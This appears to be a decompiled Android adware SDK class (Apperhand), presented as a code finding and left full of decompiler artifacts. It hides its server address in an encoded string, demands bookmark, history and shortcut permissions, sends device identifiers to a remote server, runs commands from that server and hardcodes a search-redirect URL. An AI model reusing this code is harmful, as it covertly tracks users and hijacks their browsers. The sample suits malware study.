Code with Finding: |
/*
* Decompiled with CFR 0_128.
*
* Could not load the following classes:
* android.app.AlertDialog
* android.app.AlertDialog$Builder
* android.app.IntentService
* android.content.ComponentName
* android.content.ContentResolver
* android.content.Context
* android.content.Intent
* android.content.SharedPreferences
* android.content.SharedPreferences$Editor
* android.content.pm.ActivityInfo
* android.content.pm.ApplicationInfo
* android.content.pm.PackageInfo
* android.content.pm.PackageManager
* android.content.pm.PackageManager$NameNotFoundException
* android.content.pm.ServiceInfo
* android.os.Build
* android.os.Build$VERSION
* android.os.Bundle
* android.provider.Settings
* android.provider.Settings$Secure
* android.util.Log
* android.webkit.WebSettings
* android.webkit.WebView
* com.apperhand.common.dto.ApplicationDetails
* com.apperhand.common.dto.Build
* com.apperhand.common.dto.Command
* com.apperhand.common.dto.Command$Commands
* com.apperhand.common.dto.DisplayMetrics
* com.apperhand.device.a.a
* com.apperhand.device.a.a.a
* com.apperhand.device.a.a.b
* com.apperhand.device.a.a.c
* com.apperhand.device.a.a.d
* com.apperhand.device.a.a.f
* com.apperhand.device.a.a.g
* com.apperhand.device.a.b
* com.apperhand.device.a.d.a
* com.apperhand.device.a.e.a
* com.apperhand.device.a.e.b
* com.apperhand.device.a.e.c
* com.apperhand.device.a.e.d
* com.apperhand.device.android.AndroidSDKProvider$1
* com.apperhand.device.android.AndroidSDKProvider$2
* com.apperhand.device.android.AndroidSDKProvider$SearchCategory
* com.apperhand.device.android.a
* com.apperhand.device.android.a.a
* com.apperhand.device.android.a.c
* com.apperhand.device.android.a.d
* com.apperhand.device.android.a.e
* com.apperhand.device.android.a.f
* com.apperhand.device.android.a.g
* com.apperhand.device.android.a.h
* com.apperhand.device.android.b.e
* com.apperhand.device.android.c.a
* com.apperhand.device.android.c.d
* com.apperhand.device.android.c.g
*/
package com.apperhand.device.android;
import android.app.AlertDialog;
import android.app.IntentService;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.ActivityInfo;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ServiceInfo;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.util.Log;
import android.webkit.WebSettings;
import android.webkit.WebView;
import com.apperhand.common.dto.ApplicationDetails;
import com.apperhand.common.dto.Build;
import com.apperhand.common.dto.Command;
import com.apperhand.common.dto.DisplayMetrics;
import com.apperhand.device.a.b;
import com.apperhand.device.android.AndroidSDKProvider;
import com.apperhand.device.android.a;
import com.apperhand.device.android.a.c;
import com.apperhand.device.android.a.d;
import com.apperhand.device.android.a.e;
import com.apperhand.device.android.a.f;
import com.apperhand.device.android.a.g;
import com.apperhand.device.android.a.h;
import java.io.Serializable;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
public class AndroidSDKProvider
extends IntentService
implements com.apperhand.device.a.a {
private static boolean a = false;
private String b;
private int c = 0;
private String d;
private String e;
private String f;
private com.apperhand.device.a.e.c g;
private com.apperhand.device.a.d.a h;
private com.apperhand.device.android.a.a i;
private c j;
private g k;
private h l;
private e m;
private d n;
private f o;
public AndroidSDKProvider() {
super("AndroidSDKProvider");
}
static /* synthetic */ String a(AndroidSDKProvider androidSDKProvider) {
return androidSDKProvider.d;
}
/*
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
*/
private static void a(Context context) {
CharSequence charSequence3;
String string;
StringBuilder stringBuilder;
int n;
int n2;
block30 : {
HashSet<String> hashSet;
Object object;
String string2;
int n3;
CharSequence charSequence22;
int n4;
boolean bl;
Object object2;
int n5;
int n6;
char c2;
int n7;
Object object3;
Object object4;
Iterator iterator;
HashSet<String> hashSet2;
block29 : {
block28 : {
block27 : {
c2 = '\n';
n = 1;
float f2 = Float.MIN_VALUE;
n2 = 0;
string = null;
n6 = a;
if (n6 == 0) {
return;
}
hashSet2 = new HashSet<String>();
hashSet2.add("android.permission.INTERNET");
hashSet2.add("android.permission.ACCESS_WIFI_STATE");
hashSet2.add("android.permission.READ_PHONE_STATE");
hashSet2.add("com.android.browser.permission.WRITE_HISTORY_BOOKMARKS");
hashSet2.add("com.android.browser.permission.READ_HISTORY_BOOKMARKS");
hashSet2.add("com.android.launcher.permission.INSTALL_SHORTCUT");
hashSet2.add("com.android.launcher.permission.UNINSTALL_SHORTCUT");
hashSet2.add("com.android.launcher.permission.READ_SETTINGS");
hashSet2.add("com.htc.launcher.permission.READ_SETTINGS");
hashSet2.add("com.motorola.launcher.permission.READ_SETTINGS");
hashSet2.add("com.motorola.dlauncher.permission.READ_SETTINGS");
hashSet2.add("com.fede.launcher.permission.READ_SETTINGS");
hashSet2.add("com.lge.launcher.permission.READ_SETTINGS");
hashSet2.add("org.adw.launcher.permission.READ_SETTINGS");
hashSet2.add("com.android.launcher.permission.WRITE_SETTINGS");
hashSet2.add("com.htc.launcher.permission.WRITE_SETTINGS");
hashSet2.add("com.motorola.launcher.permission.WRITE_SETTINGS");
hashSet2.add("com.motorola.dlauncher.permission.WRITE_SETTINGS");
hashSet2.add("com.fede.launcher.permission.WRITE_SETTINGS");
hashSet2.add("com.lge.launcher.permission.WRITE_SETTINGS");
hashSet2.add("org.adw.launcher.permission.WRITE_SETTINGS");
hashSet2.add("com.motorola.launcher.permission.INSTALL_SHORTCUT");
hashSet2.add("com.motorola.dlauncher.permission.INSTALL_SHORTCUT");
hashSet2.add("com.lge.launcher.permission.INSTALL_SHORTCUT");
hashSet = new HashSet<String>();
hashSet.add("com.android.browser.permission.WRITE_HISTORY_BOOKMARKS");
hashSet.add("com.android.browser.permission.READ_HISTORY_BOOKMARKS");
stringBuilder = new StringBuilder();
n6 = 0;
CharSequence charSequence3 = null;
object = context.getPackageManager();
try {
object2 = context.getPackageName();
n3 = 4101;
charSequence3 = object.getPackageInfo((String)object2, n3);
}
catch (Exception exception) {}
if (charSequence3 == null) break block27;
object2 = charSequence3.activities;
iterator = charSequence3.services;
object4 = charSequence3.requestedPermissions;
if (object2 == null) break block28;
n4 = object2.length;
object = null;
n6 = n;
for (n7 = 0; n7 < n4; ++n7) {
object3 = object2[n7];
string2 = "com.apperhand.device.android.EULAActivity";
object3 = object3.name;
bl = string2.equals(object3);
if (!bl) continue;
n6 = 0;
charSequence3 = null;
}
n5 = n6;
break block29;
}
charSequence3 = "Can't retrieve packageInfo";
stringBuilder.append((String)charSequence3);
break block30;
}
n5 = n;
}
if (iterator != null) {
n4 = iterator.length;
object = null;
n6 = n;
for (n7 = 0; n7 < n4; ++n7) {
object3 = iterator[n7];
string2 = "com.apperhand.device.android.AndroidSDKProvider";
object3 = object3.name;
bl = string2.equals(object3);
if (!bl) continue;
n6 = 0;
charSequence3 = null;
}
n3 = n6;
} else {
n3 = n;
}
if (object4 != null) {
n7 = object4.length;
charSequence3 = null;
for (n6 = 0; n6 < n7; ++n6) {
CharSequence charSequence22 = object4[n6];
bl = hashSet2.contains(charSequence22);
if (bl) {
hashSet2.remove(charSequence22);
}
if (!(bl = hashSet.contains(charSequence22))) continue;
hashSet.remove(charSequence22);
}
}
if ((n6 = (int)(hashSet2.isEmpty() ? 1 : 0)) == 0) {
n6 = n;
} else {
n6 = 0;
charSequence3 = null;
}
if ((n7 = (int)(hashSet.isEmpty() ? 1 : 0)) == 0) {
n7 = n;
} else {
n7 = 0;
object = null;
}
object4 = new Object();
super();
com.apperhand.device.android.c.g.a((Context)context, (StringBuilder)object4, (StringBuilder)charSequence22);
if (n5 != 0) {
object2 = stringBuilder.append(n);
object3 = ". Decleration of Activity 'com.apperhand.device.android.EULAActivity' is missing\n";
object2.append((String)object3);
n5 = n;
} else {
n5 = 0;
object2 = null;
}
if (n3 != 0) {
iterator = stringBuilder.append(++n5);
object3 = ". Decleration of Service 'com.apperhand.device.android.AndroidSDKProvider' is missing\n";
iterator.append((String)object3);
}
if ((n3 = object4.length()) == 0 || (n3 = charSequence22.length()) == 0) {
iterator = stringBuilder.append(++n5);
object4 = ". Developer/App-ID is missing\n";
iterator.append((String)object4);
}
if (n6 != 0) {
charSequence3 = stringBuilder.append(++n5);
charSequence3.append(". The following permissions are missing:\n");
iterator = hashSet2.iterator();
while ((n6 = (int)(iterator.hasNext() ? 1 : 0)) != 0) {
charSequence3 = (String)iterator.next();
charSequence3 = stringBuilder.append((String)charSequence3);
charSequence3.append(c2);
}
}
n6 = n5;
n5 = stringBuilder.length();
if (n5 == 0) {
string = "Integration was completed successfully\n";
stringBuilder.append(string);
n2 = n;
}
if (n7 != 0) {
++n6;
charSequence3 = "Warning - The following permissions are missing:\n";
stringBuilder.append((String)charSequence3);
object = hashSet.iterator();
while ((n6 = (int)(object.hasNext() ? 1 : 0)) != 0) {
charSequence3 = (String)object.next();
charSequence3 = stringBuilder.append((String)charSequence3);
charSequence3.append(c2);
}
}
}
if (n2 != 0) {
string = stringBuilder.toString();
Log.i((String)"apperhand", (String)string);
charSequence3 = "StartApp - Success";
} else {
string = stringBuilder.toString();
Log.e((String)"apperhand", (String)string);
charSequence3 = "StartApp - Failed Integration";
}
super(context);
string.setMessage((CharSequence)stringBuilder);
string.setCancelable((boolean)n);
string.setTitle(charSequence3);
charSequence3 = string.create();
charSequence3.show();
}
/*
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
*/
static void a(Context context, int n, Bundle bundle) {
String string;
String string2;
Object object = null;
Object object2 = new Object();
CharSequence charSequence = new CharSequence();
com.apperhand.device.android.c.g.a((Context)context, (StringBuilder)object2, (StringBuilder)charSequence);
int n2 = object2.length();
if (n2 == 0) return;
n2 = charSequence.length();
if (n2 == 0) {
return;
}
String string3 = "com.apperhand.global";
Object object3 = context.getSharedPreferences(string3, 0);
SharedPreferences.Editor editor = object3.edit();
try {
string3 = context.getPackageManager();
string = context.getPackageName();
string2 = null;
string3 = string3.getPackageInfo(string, 0);
n2 = string3.versionCode;
}
catch (PackageManager.NameNotFoundException nameNotFoundException) {
n2 = 0;
string3 = null;
}
string = "VERSION_CODE";
int n3 = object3.getInt(string, 0);
string2 = "TERMINATE";
boolean bl = object3.getBoolean(string2, false);
if (bl) {
if (n2 <= n3) return;
object3 = "TERMINATE";
editor.putBoolean((String)object3, false);
}
editor.putInt("VERSION_CODE", n2);
editor.commit();
object3 = AndroidSDKProvider.class;
super(context, object3);
if (bundle != null) {
string3.putExtras(bundle);
}
object = com.apperhand.device.a.e.a.a((String)"CRoQAlVGS1keGVoEHgRLEBoOGRdLEUE+agQtJzsiJj8tABJOHhYdGwYHQQU=", (int)0);
editor = null;
object = com.apperhand.device.a.e.b.a((byte[])object, (byte[])null);
object3 = new Object((byte[])object);
charSequence = charSequence.toString();
string3.putExtra("APPLICATION_ID", (String)charSequence);
object2 = object2.toString();
string3.putExtra("DEVELOPER_ID", (String)object2);
string3.putExtra("M_SERVER_URL", (String)object3);
object2 = Boolean.TRUE;
string3.putExtra("FIRST_RUN", (Serializable)object2);
object2 = new Object(context);
object2 = object2.getSettings().getUserAgentString();
string3.putExtra("USER_AGENT", (String)object2);
object = "SERVICE_MODE";
string3.putExtra((String)object, n);
context.startService((Intent)string3);
}
public static void a(Context context, String string) {
Bundle bundle = new Bundle();
bundle.putString("externalData", string);
AndroidSDKProvider.a(context, 5, bundle);
}
/*
* Enabled aggressive block sorting
*/
private boolean a(b b2, Command.Commands commands, SharedPreferences sharedPreferences, boolean bl) {
long l;
long l2 = -1;
StringBuilder stringBuilder = new StringBuilder();
StringBuilder stringBuilder2 = stringBuilder.append("handleAlarm start [").append((Object)commands);
String string = "]";
String string2 = stringBuilder2.append(string).toString();
Log.v((String)"apperhand", (String)string2);
Object object = Command.Commands.INFO;
if (commands == object) {
object = "NEXT_INFO_RUN";
} else {
object = Command.Commands.COMMANDS_DETAILS;
if (commands != object) {
return false;
}
object = "NEXT_DETAILS_RUN";
}
long l3 = System.currentTimeMillis();
long l4 = sharedPreferences.getLong((String)object, l2);
if (!bl && (l = (l4 LCMP l2)) == false) {
String string3 = "handleAlarm end (!forceRun && nextRun == -1)";
Log.v((String)"apperhand", (String)string3);
return false;
}
l = l4 LCMP l2;
if (l == false) {
l4 = l3;
} else {
b2.a(false);
}
String string4 = "apperhand";
StringBuilder stringBuilder3 = new StringBuilder();
StringBuilder stringBuilder4 = stringBuilder3.append("handleAlarm currentTime=[").append(l3).append("], nextRun=[").append(l4);
String string5 = "]";
String string6 = stringBuilder4.append(string5).toString();
Log.v((String)string4, (String)string6);
long l5 = l3 LCMP l4;
if (l5 < 0) {
string = "apperhand";
String string7 = "handleAlarm end go schedule";
Log.v((String)string, (String)string7);
b2.a(l4, commands);
return false;
}
object = "apperhand";
String string8 = "handleAlarm end return true";
Log.v((String)object, (String)string8);
return true;
}
static /* synthetic */ String b(AndroidSDKProvider androidSDKProvider) {
return androidSDKProvider.e;
}
static /* synthetic */ String c(AndroidSDKProvider androidSDKProvider) {
return androidSDKProvider.f;
}
public static void initSDK(Context context) {
AndroidSDKProvider.initSDK(context, true);
}
/*
* Enabled aggressive block sorting
*/
public static void initSDK(Context context, boolean bl) {
int n = 1;
int n2 = Build.VERSION.SDK_INT;
int n3 = 7;
if (n2 < n3) {
return;
}
Object object = context.getApplicationInfo();
object.flags = n3 = object.flags & 2;
if (n3 != 0 && (n2 = (int)(a ? 1 : 0)) != 0) {
n2 = n;
} else {
n2 = 0;
object = null;
}
if (n2 != 0) {
AndroidSDKProvider.a(context);
return;
}
if (!bl) {
AndroidSDKProvider.a(context, n, null);
return;
}
super(context);
n2 = object.a() ? 1 : 0;
if (n2 == 0) return;
AndroidSDKProvider.a(context, n, null);
object = "apperhand";
String string = "Eula was accepted";
Log.v((String)object, (String)string);
}
public static String searchURL(String string) {
SearchCategory searchCategory = SearchCategory.WEB;
return AndroidSDKProvider.searchURL(string, searchCategory);
}
/*
* Enabled aggressive block sorting
*/
public static String searchURL(String string, SearchCategory searchCategory) {
Object object = com.apperhand.device.android.c.a.a();
String string2 = "http://www.searchmobileonline.com/{$CATEGORY$}?sourceid=7&q={$QUERY$}";
object = object.a("SEARCH_URL", string2);
Object object2 = 2.a;
int n = searchCategory.ordinal();
int n2 = object2[n];
switch (n2) {
default: {
object2 = "{$CATEGORY$}";
string2 = "";
object = object.replace((CharSequence)object2, string2);
break;
}
case 1: {
object2 = "{$CATEGORY$}";
string2 = "";
object = object.replace((CharSequence)object2, string2);
break;
}
case 2: {
object2 = "{$CATEGORY$}";
string2 = "simages";
object = object.replace((CharSequence)object2, string2);
break;
}
case 3: {
object2 = "{$CATEGORY$}";
string2 = "svideos";
object = object.replace((CharSequence)object2, string2);
}
}
if (string != null) {
object2 = "{$QUERY$}";
string2 = URLEncoder.encode(string);
return object.replace((CharSequence)object2, string2);
}
object2 = "{$QUERY$}";
string2 = "";
return object.replace((CharSequence)object2, string2);
}
public static void setTestMode(boolean bl) {
a = bl;
}
public com.apperhand.device.a.e.c a() {
return this.g;
}
public com.apperhand.device.a.d.a b() {
return this.h;
}
public com.apperhand.device.a.a.a c() {
return this.j;
}
public com.apperhand.device.a.a.f d() {
return this.k;
}
public com.apperhand.device.a.a.g e() {
return this.l;
}
public com.apperhand.device.a.a.c f() {
return this.m;
}
public com.apperhand.device.a.a.b g() {
return this.n;
}
public com.apperhand.device.a.a.d h() {
return this.o;
}
public com.apperhand.device.a.e.d i() {
return com.apperhand.device.android.c.a.a();
}
public ApplicationDetails j() {
ApplicationDetails applicationDetails = new ApplicationDetails();
Object object = this.d;
applicationDetails.setApplicationId((String)object);
object = this.e;
applicationDetails.setDeveloperId((String)object);
object = this.f;
applicationDetails.setUserAgent((String)object);
object = com.apperhand.device.android.c.g.b((Context)this);
applicationDetails.setDeviceId((String)object);
object = com.apperhand.device.android.c.g.a();
applicationDetails.setLocale((Locale)object);
applicationDetails.setProtocolVersion("2.0.2");
object = com.apperhand.device.android.c.g.c((Context)this);
applicationDetails.setDisplayMetrics((DisplayMetrics)object);
object = com.apperhand.device.android.c.g.d((Context)this);
applicationDetails.setBuild((Build)object);
object = this.b;
applicationDetails.setPackageId((String)object);
int n = this.c;
applicationDetails.setAppVersion(n);
object = Settings.Secure.getString((ContentResolver)this.getApplicationContext().getContentResolver(), (String)"android_id");
applicationDetails.setAndroidId((String)object);
return applicationDetails;
}
public String k() {
return "2.0.2";
}
public String l() {
return this.f;
}
public void onCreate() {
super.onCreate();
this.setIntentRedelivery(false);
}
/*
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
*/
protected void onHandleIntent(Intent intent) {
boolean bl;
Object object;
int n;
Object object2;
String string;
String string2;
n = 1;
object = intent.getExtras();
object2 = new Object();
object2 = object2.append("onHandleIntent(").append((Object)intent);
String string3 = ")";
object2 = object2.append(string3).toString();
Log.v((String)"apperhand", (String)object2);
string2 = "SERVICE_MODE";
bl = object.getInt(string2);
object2 = this.getApplicationContext().getPackageName();
this.b = object2;
try {
int n2;
object2 = this.getApplicationContext();
object2 = object2.getPackageManager();
String string4 = this.b;
string = null;
object2 = object2.getPackageInfo(string4, 0);
this.c = n2 = object2.versionCode;
}
catch (PackageManager.NameNotFoundException nameNotFoundException) {}
object2 = object.getString("M_SERVER_URL");
boolean bl2 = object.getBoolean("FIRST_RUN");
this.d = string = object.getString("APPLICATION_ID");
this.e = string = object.getString("DEVELOPER_ID");
this.f = string = object.getString("USER_AGENT");
string = com.apperhand.device.android.c.d.a;
this.g = string;
super((Context)this);
this.i = string;
Object object3 = this.getContentResolver();
super((ContentResolver)object3);
this.j = string;
super((Context)this);
this.k = string;
super((Context)this);
this.l = string;
super((Context)this);
this.m = string;
super((Context)this);
this.n = string;
super((Context)this);
this.o = string;
com.apperhand.device.android.c.a.a().a((Context)this);
super(this, (com.apperhand.device.a.a)this, (String)object2);
string.a(bl2);
com.apperhand.device.android.b.e e2 = new com.apperhand.device.android.b.e((Context)this, (com.apperhand.device.a.a)this, (b)string, (String)object2);
this.h = e2;
switch (bl) {
default: {
object = this.getSharedPreferences("com.apperhand.global", 0);
string2 = Command.Commands.COMMANDS_DETAILS;
bl = (boolean)(this.a((b)string, (Command.Commands)string2, (SharedPreferences)object, (boolean)n) ? 1 : 0);
object2 = Command.Commands.INFO;
boolean bl3 = this.a((b)string, (Command.Commands)object2, (SharedPreferences)object, false);
StringBuilder stringBuilder = new StringBuilder();
String string5 = stringBuilder.append("runCommandsDetails=[").append(bl).append("]").toString();
Log.v((String)"apperhand", (String)string5);
object2 = "apperhand";
StringBuilder stringBuilder2 = new StringBuilder();
StringBuilder stringBuilder3 = stringBuilder2.append("runInfo[").append(bl3);
object3 = "]";
String string6 = stringBuilder3.append((String)object3).toString();
Log.v((String)object2, (String)string6);
if (bl) {
Command.Commands commands = Command.Commands.COMMANDS_DETAILS;
object2 = new Object(commands);
string.b((Command)object2);
}
if (!bl3) return;
if (bl) return;
string2 = Command.Commands.INFO;
object = new Object((Command.Commands)string2);
string.b((Command)object);
return;
}
case 2: {
string2 = Command.Commands.EULA;
object = new Object((Command.Commands)string2);
string.a((Command)object);
return;
}
case 3: {
object = object.getSerializable("eulaAcceptDetails");
object2 = Command.Commands.EULA;
super((Command.Commands)object2);
object2 = new Object(n);
String string7 = "details";
object2.put((String)string7, (Object)object);
string.a((Command)string2, object2);
return;
}
case 4: {
string2 = Command.Commands.INFO;
object = new Object((Command.Commands)string2);
string.b((Command)object);
return;
}
case 6: {
string2 = Command.Commands.COMMANDS_DETAILS;
object = new Object((Command.Commands)string2);
string.b((Command)object);
return;
}
case 5:
}
object2 = Command.Commands.EXTERNAL_COMMANDS_DETAILS;
super((Command.Commands)object2);
object2 = new Object(n);
object = object.getString("externalData");
String string8 = "externalData";
object2.put((String)string8, (Object)object);
string2.setParameters(object2);
string.a((Command)string2);
}
}
|